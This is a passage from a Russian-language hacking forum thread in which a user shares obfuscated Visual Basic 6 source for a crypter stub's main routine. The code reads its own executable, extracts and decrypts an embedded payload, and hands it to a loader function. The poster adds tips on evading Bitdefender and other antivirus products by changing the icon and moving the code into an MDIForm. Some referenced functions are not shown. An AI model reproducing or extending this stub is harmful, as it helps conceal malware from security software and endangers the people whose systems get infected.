1. Все файлы исключительно загружать на наш сервер в формате .rar или .zip, темы где будут указаны ссылки для загрузки файлов будут удалены.

Source Submain // VB6 // MOD by FAST[3]

Тема в разделе "VB6 / VB .NET", создана пользователем FAST3, 7 янв 2017.

Метки:
  1. FAST3
    Статус
    Оффлайн
    Сообщения:
    464
    Симпатии:
    595
    Код:
    Private Declare Function GetModuleFileNameA Lib "kernel32" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
    Sub Main()
    Dim awdioajwd As String
    awdioajwd = J1JexW
    Dim GVbFFcmB8w7A() As String
    GVbFFcmB8w7A() = Split(fGetData(awdioajwd), ierujiowopzqe)
    GVbFFcmB8w7A(1) = WQozcPBLz(GVbFFcmB8w7A(1), ierujiowopzqe)
    Call BD7pgXBE3(awdioajwd, StrConv(GVbFFcmB8w7A(1), vbFromUnicode))
    End Sub
    
    Function J1JexW() As String
    Dim szBuffer As String * 255
    GetModuleFileNameA 0, szBuffer, 255
    J1JexW = Replace(szBuffer, vbNullChar, vbNullString)
    End Function
    
    Public Function fGetData(ByVal sPath As String) As String
    Dim WSC8z As Long
    WSC8z = FreeFile
    Open sPath For Binary As WSC8z
    Dim u269ZtL As String
    u269ZtL = String$(LOF(1), 1)
    Get WSC8z, , u269ZtL
    Close WSC8z
    fGetData = u269ZtL
    End Function

    Скан компиленого сабмаина)) Native Code Fast Code
    это если запихнуть в module
    [​IMG]


    если в MDIForm-у резултат будет лучше ( убрать Bitdefender и остальних можно с сменой иконки)

    [​IMG]
     
    Последнее редактирование: 8 янв 2017
    xakser, Hanter и DarkCoderSc нравится это.
  2. FAST3
    Статус
    Оффлайн
    Сообщения:
    464
    Симпатии:
    595
    Забыл добавить GetModuleFileNameA сорри)) ща всё ОК!